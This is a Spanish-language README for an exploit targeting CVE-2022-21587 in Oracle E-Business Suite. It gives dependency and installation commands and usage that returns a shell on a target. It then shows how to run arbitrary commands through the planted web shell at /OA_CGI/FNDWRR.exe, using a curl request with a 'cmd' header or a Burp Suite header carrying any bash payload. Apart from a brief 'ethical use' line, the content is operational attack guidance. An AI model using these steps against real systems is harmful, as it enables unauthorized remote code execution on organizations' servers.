CVE-2022-21587-Oracle-EBS-

Requisitos previos para que este exploit funcione:

• python3 incluyendo los módulos (requests, os, sys, slipit)
• uuencode

Antes de ejecutar, asegúrate de usarlo solo con fines éticos

Si el exploit falla al ejecutarse:

• Asegúrate de haber instalado los módulos prerrequisitos

instalar requests

• pip3 install requests

• Instalar slipit, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* o python3 -m pip install --user dist/*

• Instalar uuencode

  • sudo apt install sharutils

• Uso: python3 exploit.py http://target.com

  • entonces la shell aparecerá O también puedes ejecutar la shell usando curl o herramientas de proxy web (burpsuite)
  • usando curl: curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • usando burpsuite: Solo agrega cmd en el encabezado de la solicitud con cualquier payload bash que quieras ejecutar